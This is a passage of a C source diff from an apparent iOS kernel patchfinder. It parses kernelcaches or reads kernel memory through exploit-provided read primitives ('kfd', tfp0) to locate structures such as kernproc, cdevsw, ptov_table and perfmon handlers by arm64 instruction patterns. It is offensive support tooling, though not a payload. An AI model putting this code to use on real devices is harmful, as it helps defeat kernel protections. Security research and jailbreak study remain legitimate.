pfinder->data = NULL; + pfinder->kernel = NULL; + pfinder->kernel_sz = 0; + sec_reset(&pfinder->sec_text); + sec_reset(&pfinder->sec_cstring); +} + +void +pfinder_term(pfinder_t *pfinder) { + free(pfinder->data); + sec_term(&pfinder->sec_text); + sec_term(&pfinder->sec_cstring); + pfinder_reset(pfinder); +} + +static kern_return_t +pfinder_init_macho(pfinder_t *pfinder, size_t off) { + const char *p = pfinder->kernel + off, *e; + struct fileset_entry_command fec; + struct segment_command_64 sg64; + struct mach_header_64 mh64; + struct load_command lc; + struct section_64 s64; + + memcpy(&mh64, p, sizeof(mh64)); + if(mh64.magic == MH_MAGIC_64 && mh64.cputype == CPU_TYPE_ARM64 && + (mh64.filetype == MH_EXECUTE || (off == 0 && mh64.filetype == MH_FILESET)) + && mh64.sizeofcmds < (pfinder->kernel_sz - sizeof(mh64)) - off) { + for(p += sizeof(mh64), e = p + mh64.sizeofcmds; mh64.ncmds-- != 0 && (size_t)(e - p) >= sizeof(lc); p += lc.cmdsize) { + memcpy(&lc, p, sizeof(lc)); + if(lc.cmdsize < sizeof(lc) || (size_t)(e - p) < lc.cmdsize) { + break; + } + if(lc.cmd == LC_SEGMENT_64) { + if(lc.cmdsize < sizeof(sg64)) { + break; + } + memcpy(&sg64, p, sizeof(sg64)); + if(sg64.vmsize == 0) { + continue; + } + if(sg64.nsects != (lc.cmdsize - sizeof(sg64)) / sizeof(s64) || sg64.fileoff > pfinder->kernel_sz || sg64.filesize > pfinder->kernel_sz - sg64.fileoff) { + break; + } + if(mh64.filetype == MH_EXECUTE) { + if(strncmp(sg64.segname, SEG_TEXT_EXEC, sizeof(sg64.segname)) == 0) { + if(find_section_macho(p + sizeof(sg64), sg64, SECT_TEXT, &s64) != KERN_SUCCESS || s64.size == 0 || (pfinder->sec_text.data = malloc(s64.size)) == NULL) { + break; + } + memcpy(pfinder->sec_text.data, pfinder->kernel + s64.offset, s64.size); + pfinder->sec_text.s64 = s64; + printf("sec_text_addr: " KADDR_FMT ", sec_text_off: 0x%" PRIX32 ", sec_text_sz: 0x%" PRIX64 "\n", s64.addr, s64.offset, s64.size); + } else if(strncmp(sg64.segname, SEG_TEXT, sizeof(sg64.segname)) == 0) { + if(find_section_macho(p + sizeof(sg64), sg64, SECT_CSTRING, &s64) != KERN_SUCCESS || s64.size == 0 || (pfinder->sec_cstring.data = calloc(1, s64.size + 1)) == NULL) { + break; + } + memcpy(pfinder->sec_cstring.data, pfinder->kernel + s64.offset, s64.size); + pfinder->sec_cstring.s64 = s64; + printf("sec_cstring_addr: " KADDR_FMT ", sec_cstring_off: 0x%" PRIX32 ", sec_cstring_sz: 0x%" PRIX64 "\n", s64.addr, s64.offset, s64.size); + } + } + } + else if(mh64.filetype == MH_FILESET && lc.cmd == LC_FILESET_ENTRY) { + if(lc.cmdsize < sizeof(fec)) { + break; + } + memcpy(&fec, p, sizeof(fec)); + if(fec.fileoff == 0 || fec.fileoff > pfinder->kernel_sz - sizeof(mh64) || fec.entry_id.offset > fec.cmdsize || p[fec.cmdsize - 1] != '\0') { + break; + } + if(strcmp(p + fec.entry_id.offset, "com.apple.kernel") == 0 && pfinder_init_macho(pfinder, fec.fileoff) == KERN_SUCCESS) { + return KERN_SUCCESS; + } + } + if(pfinder->sec_text.s64.size != 0 && pfinder->sec_cstring.s64.size != 0) { + pfinder->sec_text.s64.addr += kbase - vm_kernel_link_addr; + pfinder->sec_cstring.s64.addr += kbase - vm_kernel_link_addr; + return KERN_SUCCESS; + } + } + } + return KERN_FAILURE; +} + +static int +kstrcmp(kaddr_t p, const char *s0) { + size_t len = strlen(s0); + int ret = 1; + char *s; + + if((s = malloc(len + 1)) != NULL) { + s[len] = '\0'; + if(kread_buf(p, s, len) == KERN_SUCCESS) { + ret = strcmp(s, s0); + } + free(s); + } + return ret; +} + +static kern_return_t +pfinder_init_kernel(pfinder_t *pfinder, size_t off) { + struct fileset_entry_command fec; + struct segment_command_64 sg64; + kaddr_t p = kbase + off, e; + struct mach_header_64 mh64; + struct load_command lc; + struct section_64 s64; + + if(kread_buf(p, &mh64, sizeof(mh64)) == KERN_SUCCESS && mh64.magic == MH_MAGIC_64 && mh64.cputype == CPU_TYPE_ARM64 && + (mh64.filetype == MH_EXECUTE || (off == 0 && mh64.filetype == MH_FILESET)) + ) { + for(p += sizeof(mh64), e = p + mh64.sizeofcmds; mh64.ncmds-- != 0 && e - p >= sizeof(lc); p += lc.cmdsize) { + if(kread_buf(p, &lc, sizeof(lc)) != KERN_SUCCESS || lc.cmdsize < sizeof(lc) || e - p < lc.cmdsize) { + break; + } + if(lc.cmd == LC_SEGMENT_64) { + if(lc.cmdsize < sizeof(sg64) || kread_buf(p, &sg64, sizeof(sg64)) != KERN_SUCCESS) { + break; + } + if(sg64.vmsize == 0) { + continue; + } + if(sg64.nsects != (lc.cmdsize - sizeof(sg64)) / sizeof(s64)) { + break; + } + if(mh64.filetype == MH_EXECUTE) { + if(strncmp(sg64.segname, SEG_TEXT_EXEC, sizeof(sg64.segname)) == 0) { + if(find_section_kernel(p + sizeof(sg64), sg64, SECT_TEXT, &s64) != KERN_SUCCESS || s64.size == 0 || (pfinder->sec_text.data = malloc(s64.size)) == NULL || kread_buf(s64.addr, pfinder->sec_text.data, s64.size) != KERN_SUCCESS) { + break; + } + pfinder->sec_text.s64 = s64; + printf("sec_text_addr: " KADDR_FMT ", sec_text_off: 0x%" PRIX32 ", sec_text_sz: 0x%" PRIX64 "\n", s64.addr, s64.offset, s64.size); + } else if(strncmp(sg64.segname, SEG_TEXT, sizeof(sg64.segname)) == 0) { + if(find_section_kernel(p + sizeof(sg64), sg64, SECT_CSTRING, &s64) != KERN_SUCCESS || s64.size == 0 || (pfinder->sec_cstring.data = calloc(1, s64.size + 1)) == NULL || kread_buf(s64.addr, pfinder->sec_cstring.data, s64.size) != KERN_SUCCESS) { + break; + } + pfinder->sec_cstring.s64 = s64; + printf("sec_cstring_addr: " KADDR_FMT ", sec_cstring_off: 0x%" PRIX32 ", sec_cstring_sz: 0x%" PRIX64 "\n", s64.addr, s64.offset, s64.size); + } + } + } + else if(mh64.filetype == MH_FILESET && lc.cmd == LC_FILESET_ENTRY) { + if(lc.cmdsize < sizeof(fec) || kread_buf(p, &fec, sizeof(fec)) != KERN_SUCCESS) { + break; + } + if(fec.fileoff == 0 || fec.entry_id.offset > fec.cmdsize) { + break; + } + if(kstrcmp(p + fec.entry_id.offset, "com.apple.kernel") == 0 && pfinder_init_kernel(pfinder, fec.fileoff) == KERN_SUCCESS) { + return KERN_SUCCESS; + } + } + if(pfinder->sec_text.s64.size != 0 && pfinder->sec_cstring.s64.size != 0) { + return KERN_SUCCESS; + } + } + } + return KERN_FAILURE; +} + +static kern_return_t +pfinder_init_file(pfinder_t *pfinder, const char *filename) { + kern_return_t ret = KERN_FAILURE; + struct mach_header_64 mh64; + struct fat_header fh; + struct stat stat_buf; + struct fat_arch fa; + const char *p; + size_t len; + void *m; + int fd; + + pfinder_reset(pfinder); + if((fd = open(filename, O_RDONLY | O_CLOEXEC)) != -1) { + if(fstat(fd, &stat_buf) != -1 && S_ISREG(stat_buf.st_mode) && stat_buf.st_size > 0) { + len = (size_t)stat_buf.st_size; + if((m = mmap(NULL, len, PROT_READ, MAP_PRIVATE, fd, 0)) != MAP_FAILED) { + if((pfinder->data = kdecompress(m, len, &pfinder->kernel_sz)) != NULL && pfinder->kernel_sz > sizeof(fh) + sizeof(mh64)) { + pfinder->kernel = pfinder->data; + memcpy(&fh, pfinder->kernel, sizeof(fh)); + if(fh.magic == __builtin_bswap32(FAT_MAGIC) && (fh.nfat_arch = __builtin_bswap32(fh.nfat_arch)) < (pfinder->kernel_sz - sizeof(fh)) / sizeof(fa)) { + for(p = pfinder->kernel + sizeof(fh); fh.nfat_arch-- != 0; p += sizeof(fa)) { + memcpy(&fa, p, sizeof(fa)); + if(fa.cputype == (cpu_type_t)__builtin_bswap32(CPU_TYPE_ARM64) && (fa.offset = __builtin_bswap32(fa.offset)) < pfinder->kernel_sz && (fa.size = __builtin_bswap32(fa.size)) <= pfinder->kernel_sz - fa.offset && fa.size > sizeof(mh64)) { + pfinder->kernel_sz = fa.size; + pfinder->kernel += fa.offset; + break; + } + } + } + ret = pfinder_init_macho(pfinder, 0); + } + munmap(m, len); + } + } + close(fd); + } + if(ret != KERN_SUCCESS) { + pfinder_term(pfinder); + } + return ret; +} + +static char * +get_boot_path(void) { + size_t path_len = sizeof(BOOT_PATH); + CFDataRef boot_objects_path_cf; + size_t boot_objects_path_len; + const uint8_t *hash; + CFDataRef hash_cf; + size_t hash_len; + io_registry_entry_t chosen; + struct stat stat_buf; + char *path = NULL; + + if(stat(PREBOOT_PATH, &stat_buf) != -1 && S_ISDIR(stat_buf.st_mode)) { + if((chosen = IORegistryEntryFromPath(kIOMasterPortDefault, kIODeviceTreePlane ":/chosen")) != IO_OBJECT_NULL) { + path_len += strlen(PREBOOT_PATH); + if((boot_objects_path_cf = IORegistryEntryCreateCFProperty(chosen, CFSTR("boot-objects-path"), kCFAllocatorDefault, kNilOptions)) != NULL) { + if(CFGetTypeID(boot_objects_path_cf) == CFDataGetTypeID() && (boot_objects_path_len = (size_t)CFDataGetLength(boot_objects_path_cf) - 1) != 0) { + path_len += boot_objects_path_len; + if((path = malloc(path_len)) != NULL) { + memcpy(path, PREBOOT_PATH, strlen(PREBOOT_PATH)); + memcpy(path + strlen(PREBOOT_PATH), CFDataGetBytePtr(boot_objects_path_cf), boot_objects_path_len); + } + } + CFRelease(boot_objects_path_cf); + } + if((hash_cf = IORegistryEntryCreateCFProperty(chosen, CFSTR("boot-manifest-hash"), kCFAllocatorDefault, kNilOptions)) != NULL) { + if(CFGetTypeID(hash_cf) == CFDataGetTypeID() && (hash_len = (size_t)CFDataGetLength(hash_cf) << 1U) != 0) { + path_len += hash_len; + if((path = malloc(path_len)) != NULL) { + memcpy(path, PREBOOT_PATH, strlen(PREBOOT_PATH)); + for(hash = CFDataGetBytePtr(hash_cf); hash_len-- != 0; ) { + path[strlen(PREBOOT_PATH) + hash_len] = "0123456789ABCDEF"[(hash[hash_len >> 1U] >> ((~hash_len & 1U) << 2U)) & 0xFU]; + } + } + } + CFRelease(hash_cf); + } + IOObjectRelease(chosen); + } + } else if(stat(BOOT_PATH, &stat_buf) != -1 && S_ISREG(stat_buf.st_mode)) { + path = malloc(path_len); + } + if(path != NULL) { + memcpy(path + (path_len - sizeof(BOOT_PATH)), BOOT_PATH, sizeof(BOOT_PATH)); + } + return path; +} + +int set_kbase(uint64_t _kbase) { + kbase = _kbase; + + return 0; +} + +int set_kfd(uint64_t _kfd) { + kfd = _kfd; + + return 0; +} + +int set_kernel_path(char* _path) { + kernel_path = _path; + + return 0; +} + +kern_return_t +pfinder_init(pfinder_t *pfinder) { + kern_return_t ret = KERN_FAILURE; + + vm_kernel_link_addr = get_vm_kernel_link_addr(); + + pfinder_reset(pfinder); + + if(kernel_path != NULL && access(kernel_path, F_OK) == 0) { + printf("kernel_path: %s\n", kernel_path); + if((ret = pfinder_init_file(pfinder, kernel_path)) != KERN_SUCCESS) { + pfinder_term(pfinder); + } + } + + kread_buf = kread_buf_kfd; + if(kernel_path == NULL && (ret = pfinder_init_kernel(pfinder, 0)) != KERN_SUCCESS) { + pfinder_term(pfinder); + } + + return ret; +} + +static kaddr_t +pfinder_xref_rd(pfinder_t pfinder, uint32_t rd, kaddr_t start, kaddr_t to) { + kaddr_t x[32] = { 0 }; + uint32_t insn; + + for(; sec_read_buf(pfinder.sec_text, start, &insn, sizeof(insn)) == KERN_SUCCESS; start += sizeof(insn)) { + if(IS_LDR_X(insn)) { + x[RD(insn)] = start + LDR_X_IMM(insn); + } else if(IS_ADR(insn)) { + x[RD(insn)] = start + ADR_IMM(insn); + } else if(IS_ADD_X(insn)) { + x[RD(insn)] = x[RN(insn)] + ADD_X_IMM(insn); + } else if(IS_LDR_W_UNSIGNED_IMM(insn)) { + x[RD(insn)] = x[RN(insn)] + LDR_W_UNSIGNED_IMM(insn); + } else if(IS_LDR_X_UNSIGNED_IMM(insn)) { + x[RD(insn)] = x[RN(insn)] + LDR_X_UNSIGNED_IMM(insn); + } else { + if(IS_ADRP(insn)) { + x[RD(insn)] = ADRP_ADDR(start) + ADRP_IMM(insn); + } + continue; + } + if(RD(insn) == rd) { + if(to == 0) { + return x[rd]; + } + if(x[rd] == to) { + return start; + } + } + } + return 0; +} + +static kaddr_t +pfinder_xref_str(pfinder_t pfinder, const char *str, uint32_t rd) { + const char *p, *e; + size_t len; + + for(p = pfinder.sec_cstring.data, e = p + pfinder.sec_cstring.s64.size; p != e; p += len) { + len = strlen(p) + 1; + if(strncmp(str, p, len) == 0) { + return pfinder_xref_rd(pfinder, rd, pfinder.sec_text.s64.addr, pfinder.sec_cstring.s64.addr + (kaddr_t)(p - pfinder.sec_cstring.data)); + } + } + return 0; +} + +kaddr_t +pfinder_kernproc(pfinder_t pfinder) { + kaddr_t ref = pfinder_xref_str(pfinder, "Should never have an EVFILT_READ except for reg or fifo. @%s:%d", 0); + uint32_t insns[2]; + + if(ref == 0) { + ref = pfinder_xref_str(pfinder, "\"Should never have an EVFILT_READ except for reg or fifo.\"", 0); + } + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref -= sizeof(*insns)) { + if(IS_ADRP(insns[0]) && IS_LDR_X_UNSIGNED_IMM(insns[1]) && RD(insns[1]) == 3) { + return pfinder_xref_rd(pfinder, RD(insns[1]), ref, 0); + } + } + return 0; +} + +static kaddr_t +pfinder_proc_struct_sz_ptr(pfinder_t pfinder) { + uint32_t insns[3]; + kaddr_t ref; + + for(ref = pfinder_xref_str(pfinder, "panic: ticket lock acquired check done outside of kernel debugger @%s:%d", 0); sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref -= sizeof(*insns)) { + if(IS_ADRP(insns[0]) && IS_LDR_X_UNSIGNED_IMM(insns[1]) && IS_SUBS_X(insns[2]) && RD(insns[2]) == 1) { + return pfinder_xref_rd(pfinder, RD(insns[1]), ref, 0); + } + } + return 0; +} + +static kaddr_t +pfinder_bof64(pfinder_t pfinder, kaddr_t start, kaddr_t where) +{ + for (; where >= start; where -= 4) { + uint32_t insns[1]; + + sec_read_buf(pfinder.sec_text, where, insns, sizeof(insns)); + +// kread_buf(where, &op, sizeof(op));//*(uint32_t *)(buf + where); + if ((insns[0] & 0xFFC003FF) == 0x910003FD) { + unsigned delta = (insns[0] >> 10) & 0xFFF; + //printf("0x%llx: ADD X29, SP, #0x%x\n", where + kerndumpbase, delta); + if ((delta & 0xF) == 0) { + kaddr_t prev = where - ((delta >> 4) + 1) * 4; + uint32_t au[1]; + + sec_read_buf(pfinder.sec_text, where, au, sizeof(au)); + + //kread_buf(prev, &au, sizeof(au));//*(uint32_t *)(buf + prev); + //printf("0x%llx: (%llx & %llx) == %llx\n", prev + kerndumpbase, au, 0x3BC003E0, au & 0x3BC003E0); + if ((au[0] & 0x3BC003E0) == 0x298003E0) { + //printf("%x: STP x, y, [SP,#-imm]!\n", prev); + return prev; + } else if ((au[0] & 0x7F8003FF) == 0x510003FF) { + //printf("%x: SUB SP, SP, #imm\n", prev); + return prev; + } + for (kaddr_t diff = 4; diff < delta/4+4; diff+=4) { + uint32_t ai[1]; + + sec_read_buf(pfinder.sec_text, where, ai, sizeof(ai)); + + +// kread_buf(where - diff, &ai, sizeof(ai));//*(uint32_t *)(buf + where - diff); + // SUB SP, SP, #imm + //printf("0x%llx: (%llx & %llx) == %llx\n", where - diff + kerndumpbase, ai, 0x3BC003E0, ai & 0x3BC003E0); + if ((ai[0] & 0x7F8003FF) == 0x510003FF) { + return where - diff; + } + // Not stp and not str + if (((ai[0] & 0xFFC003E0) != 0xA90003E0) && (ai[0]&0xFFC001F0) != 0xF90001E0) { + break; + } + } + // try something else + while (where > start) { + where -= 4; +// au = *(uint32_t *)(buf + where); +// au = 0; + au[0] = 0; + + sec_read_buf(pfinder.sec_text, where, au, sizeof(au)); +// kread_buf(where, &au, sizeof(au)); + // SUB SP, SP, #imm + if ((au[0] & 0xFFC003FF) == 0xD10003FF && ((au[0] >> 10) & 0xFFF) == delta + 0x10) { + return where; + } + // STP x, y, [SP,#imm] + if ((au[0] & 0xFFC003E0) != 0xA90003E0) { + where += 4; + break; + } + } + } + } + } + return 0; +} + +static kaddr_t +follow_adrl(kaddr_t ref, uint32_t adrp_op, uint32_t add_op) +{ + //Stage1. ADRP + uint64_t imm_hi_lo = (uint64_t)((adrp_op >> 3) & 0x1FFFFC); + imm_hi_lo |= (uint64_t)((adrp_op >> 29) & 0x3); + if ((adrp_op & 0x800000) != 0) { + // Sign extend + imm_hi_lo |= 0xFFFFFFFFFFE00000; + } + + // Build real imm + uint64_t imm = imm_hi_lo << 12; + + uint64_t ret = (ref & ~0xFFF) + imm; + + //Stage2. ADD + uint64_t imm12 = (add_op & 0x3FFC00) >> 10; + + uint32_t shift = (add_op >> 22) & 1; + if (shift == 1) { + imm12 = imm12 << 12; + } + ret += imm12; + return ret; +} + +static kaddr_t +follow_adrpLdr(kaddr_t ref, uint32_t adrp_op, uint32_t ldr_op) +{ + //Stage1. ADRP + uint64_t imm_hi_lo = (uint64_t)((adrp_op >> 3) & 0x1FFFFC); + imm_hi_lo |= (uint64_t)((adrp_op >> 29) & 0x3); + if ((adrp_op & 0x800000) != 0) { + // Sign extend + imm_hi_lo |= 0xFFFFFFFFFFE00000; + } + + // Build real imm + uint64_t imm = imm_hi_lo << 12; + uint64_t ret = (ref & ~0xFFF) + imm; + + //Stage2. STR, LDR + uint64_t imm12 = ((ldr_op >> 10) & 0xFFF) << 3; + ret += imm12; + + return ret; +} + +kaddr_t +pfinder_cdevsw(pfinder_t pfinder) { + bool found = false; + + //1. opcode + kaddr_t ref = pfinder.sec_text.s64.addr; + uint32_t insns[6]; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if((insns[0] & 0xff000000) == 0xb4000000 //cbz + && insns[1] == 0xd2800001 //mov x1, #0 + && insns[2] == 0xd2800002 //mov x2, #0 + && insns[3] == 0x52800003 //mov w3, #0 + && insns[4] == 0x52800024 //mov w4, #1 + && insns[5] == 0xd2800005 /* mov x5, #0 */) { + found = true; + break; + } + } + if(!found) + return 0; + +// printf("1 ref: 0x%llx, ref\n", ref); + + //2. Step into High address, and find adrp opcode. + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if(IS_ADRP(insns[0]) && IS_ADD_X(insns[1])) { + break; + } + } + +// printf("2 ref: 0x%llx, ref-kslide: 0x%llx\n", ref, ref-get_kslide()); + + //3. Get label from adrl opcode. + return follow_adrl(ref, insns[0], insns[1]); +} + +kaddr_t +pfinder_gPhysBase(pfinder_t pfinder) { + bool found = false; + + //1. opcode + kaddr_t ref = pfinder.sec_text.s64.addr; + uint32_t insns[6]; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if(insns[0] == 0x7100005F + && insns[1] == 0x54000120 + && (insns[2] & 0x9F000000) == 0x90000000 //adrp + && (insns[3] & 0xFF800000) == 0x91000000 //add + && insns[4]== 0xF9400042 + && insns[5] == 0xCB020000) { + found = true; + break; + } + } + if(!found) + return 0; + + return follow_adrl(ref, insns[2], insns[3]); +} + +kaddr_t +pfinder_gPhysSize(pfinder_t pfinder) +{ + bool found = false; + + //1. opcode + kaddr_t ref = pfinder.sec_text.s64.addr; + uint32_t insns[8]; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if ((insns[0] & 0xFFC00000) == 0xF9000000 //str + && insns[1] == 0x8b090108 + && insns[2] == 0x9272c508 + && insns[3] == 0xcb090108) { + found = true; + break; + } + } + if(!found) + return pfinder_gPhysBase(pfinder) + 8; + + return follow_adrpLdr(ref, insns[6], insns[7]); +} + +kaddr_t +pfinder_gVirtBase(pfinder_t pfinder) +{ + bool found = false; + + //1. opcode + kaddr_t ref = pfinder.sec_text.s64.addr; + uint32_t insns[8]; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if (insns[0] == 0x7100005F + && insns[1] == 0x54000120 + && (insns[2] & 0x9F000000) == 0x90000000 //adrp + && (insns[3] & 0xFF800000) == 0x91000000 //add + && insns[4]== 0xF9400042 + && insns[5] == 0xCB020000) { + found = true; + break; + } + } + if(!found) + return 0; + + return follow_adrl(ref, insns[6], insns[7]); +} + +kaddr_t +pfinder_perfmon_dev_open_2(pfinder_t pfinder) +{ +//__TEXT_EXEC:__text:FFFFFFF007324700 3F 01 08 6B CMP W9, W8 +//__TEXT_EXEC:__text:FFFFFFF007324704 E1 01 00 54 B.NE loc_FFFFFFF007324740 +//__TEXT_EXEC:__text:FFFFFFF007324708 A8 5E 00 12 AND W8, W21, #0xFFFFFF +//__TEXT_EXEC:__text:FFFFFFF00732470C 1F 05 00 71 CMP W8, #1 +//__TEXT_EXEC:__text:FFFFFFF007324710 68 02 00 54 B.HI loc_FFFFFFF00732475C + + bool found = false; + + //1. opcode + kaddr_t ref = pfinder.sec_text.s64.addr; + uint32_t insns[8]; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if (insns[0] == 0x53187ea8 //lsr w8, w21, #0x18 + && (insns[2] & 0xffc0001f) == 0xb9400009 // ldr w9, [Xn, n] + && insns[3] == 0x6b08013f //cmp w9, w8 v + && (insns[4] & 0xff00001f) == 0x54000001 //b.ne * + && (insns[5] & 0xfffffc00) == 0x12005c00 //and Wn, Wn, 0xfffff v + && insns[6] == 0x7100051f //cmp w8, #1 v + && (insns[7] & 0xff00001f) == 0x54000008 /* b.hi * v */) { + found = true; + break; + } + } + if(!found) + return 0; + + ref = pfinder_bof64(pfinder, pfinder.sec_text.s64.addr, ref); + + sec_read_buf(pfinder.sec_text, ref-4, insns, sizeof(insns)); + if(insns[0] == 0xD503237F) { + ref -= 4; + } + + return ref; +} + +kaddr_t +pfinder_perfmon_dev_open(pfinder_t pfinder) +{ + bool found = false; + + //1. opcode + kaddr_t ref = pfinder.sec_text.s64.addr; + uint32_t insns[5]; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if ((insns[0] & 0xff000000) == 0x34000000 //cbz w* + && insns[1] == 0x52800300 //mov W0, #0x18 + && (insns[2] & 0xff000000) == 0x14000000 //b* + && insns[3] == 0x52800340 //mov w0, #0x1A + && (insns[4] & 0xff000000) == 0x14000000 /* b* */) { + found = true; + break; + } + } + if(!found) + return pfinder_perfmon_dev_open_2(pfinder); + + ref = pfinder_bof64(pfinder, pfinder.sec_text.s64.addr, ref); + + sec_read_buf(pfinder.sec_text, ref-4, insns, sizeof(insns)); + if(insns[0] == 0xD503237F) { + ref -= 4; + } + + return ref; +} + +kaddr_t +pfinder_perfmon_devices(pfinder_t pfinder) +{ + bool found = false; + + //1. opcode + kaddr_t ref = pfinder.sec_text.s64.addr; + uint32_t insns[5]; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if (insns[0] == 0x6b08013f //cmp w9, w8 + && (insns[1] & 0xff00001f) == 0x54000001 //b.ne * + && insns[2] == 0x52800028 //mov w8, #1 + && insns[3] == 0x5280140a /* mov w10, #0xa0 */) { + found = true; + break; + } + } + if(!found) + return 0; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if(IS_ADRP(insns[0]) && IS_ADD_X(insns[1])) { + break; + } + } + + return follow_adrl(ref, insns[0], insns[1]); +} + +kaddr_t +pfinder_ptov_table(pfinder_t pfinder) +{ + bool found = false; + + //1. opcode + kaddr_t ref = pfinder.sec_text.s64.addr; + uint32_t insns[5]; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if (insns[0] == 0x52800049 + && insns[1] == 0x14000004 + && insns[2] == 0xd2800009 + && insns[3] == 0x14000002) { + found = true; + break; + } + } + if(!found) + return 0; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if(IS_ADRP(insns[0]) && IS_ADD_X(insns[1])) { + break; + } + } + + return follow_adrl(ref, insns[0], insns[1]); +} + +kaddr_t +pfinder_vn_kqfilter_2(pfinder_t pfinder) +{ + bool found = false; + + //1. opcode + kaddr_t ref = pfinder.sec_text.s64.addr; + uint32_t insns[5]; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if (insns[0] == 0x7100051f //cmp w8, #1 + && (insns[1] & 0xff00001f) == 0x54000000 //b.eq * + && insns[2] == 0x7100111f //cmp w8, #4 + && (insns[3] & 0xff00001f) == 0x54000000 //b.eq * + && insns[4] == 0x71001d1f /* cmp w8, #7 */) { + found = true; + break; + } + } + if(!found) + return 0; + + ref = pfinder_bof64(pfinder, pfinder.sec_text.s64.addr, ref); + + sec_read_buf(pfinder.sec_text, ref-4, insns, sizeof(insns)); + if(insns[0] == 0xD503237F) { + ref -= 4; + } + + return ref; +} + +kaddr_t +pfinder_vn_kqfilter(pfinder_t pfinder) +{ + bool found = false; + + kaddr_t ref = pfinder.sec_text.s64.addr; + uint32_t insns[5]; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if (insns[0] == 0xD2800001 + && insns[1] == 0xAA1503E0 + && insns[2] == 0xAA1303E2 + && insns[3] == 0xAA1403E3) { + found = true; + break; + } + } + if(!found) + return pfinder_vn_kqfilter_2(pfinder); + + ref = pfinder_bof64(pfinder, pfinder.sec_text.s64.addr, ref); + + sec_read_buf(pfinder.sec_text, ref-4, insns, sizeof(insns)); + if(insns[0] == 0xD503237F) { + ref -= 4; + } + + return ref; +} + +kaddr_t +pfinder_proc_object_size(pfinder_t pfinder) { + bool found = false; + + kaddr_t ref = pfinder.sec_text.s64.addr; + uint32_t insns[5]; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if (insns[0] == 0xAA1503E0 + && insns[1] == 0x528104E1 + && insns[2] == 0x52800102 + && insns[3] == 0x52801103) { + found = true; + break; + } + } + if(!found) + return 0; + + for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) { + if(IS_ADRP(insns[0]) && (IS_LDR_X(insns[1]) || IS_LDR_W_UNSIGNED_IMM(insns[1]) || IS_LDR_X_UNSIGNED_IMM(insns[1]))) { + break; + } + } + + ref = follow_adrpLdr(ref, insns[0], insns[1]); + printf("proc_object_size addr: 0x%llx\n", ref); + + uint64_t val = 0; + kread_buf(ref, &val, sizeof(val)); + + return val; +} + +static kern_return_t +init_kbase(void) { + struct { + uint32_t pri_prot, pri_max_prot, pri_inheritance, pri_flags; + uint64_t pri_offset; + uint32_t pri_behavior, pri_user_wired_cnt, pri_user_tag, pri_pages_resident, pri_pages_shared_now_private, pri_pages_swapped_out, pri_pages_dirtied, pri_ref_cnt, pri_shadow_depth, pri_share_mode, pri_private_pages_resident, pri_shared_pages_resident, pri_obj_id, pri_depth; + kaddr_t pri_addr; + uint64_t pri_sz; + } pri; + mach_msg_type_number_t cnt = TASK_DYLD_INFO_COUNT; + CFDictionaryRef kexts_info, kext_info; + kernrw_0_kbase_func_t kernrw_0_kbase; + kaddr_t kext_addr, kext_addr_slid; + task_dyld_info_data_t dyld_info; + krw_0_kbase_func_t krw_0_kbase; + char kext_name[KMOD_MAX_NAME]; + struct mach_header_64 mh64; + CFStringRef kext_name_cf; + CFNumberRef kext_addr_cf; + CFArrayRef kext_names; + + if(kbase == 0) { + if((((kernrw_0 == NULL || (kernrw_0_kbase = (kernrw_0_kbase_func_t)dlsym(kernrw_0, "kernRW_getKernelBase")) == NULL || kernrw_0_kbase(&kbase) != KERN_SUCCESS)) && (krw_0 == NULL || (krw_0_kbase = (krw_0_kbase_func_t)dlsym(krw_0, "kbase")) == NULL || krw_0_kbase(&kbase) != 0)) || tfp0 == TASK_NULL || task_info(tfp0, TASK_DYLD_INFO, (task_info_t)&dyld_info, &cnt) != KERN_SUCCESS || (kbase = vm_kernel_link_addr + dyld_info.all_image_info_size) == 0) { + for(pri.pri_addr = 0; proc_pidinfo(0, PROC_PIDREGIONINFO, pri.pri_addr, &pri, sizeof(pri)) == sizeof(pri); pri.pri_addr += pri.pri_sz) { + if(pri.pri_prot == VM_PROT_READ && pri.pri_user_tag == VM_KERN_MEMORY_OSKEXT) { + if(kread_buf(pri.pri_addr + LOADED_KEXT_SUMMARY_HDR_NAME_OFF, kext_name, sizeof(kext_name)) == KERN_SUCCESS) { + printf("kext_name: %s\n", kext_name); + if(kread_addr(pri.pri_addr + LOADED_KEXT_SUMMARY_HDR_ADDR_OFF, &kext_addr_slid) == KERN_SUCCESS) { + printf("kext_addr_slid: " KADDR_FMT "\n", kext_addr_slid); + if((kext_name_cf = CFStringCreateWithCStringNoCopy(kCFAllocatorDefault, kext_name, kCFStringEncodingUTF8, kCFAllocatorNull)) != NULL) { + if((kext_names = CFArrayCreate(kCFAllocatorDefault, (const void 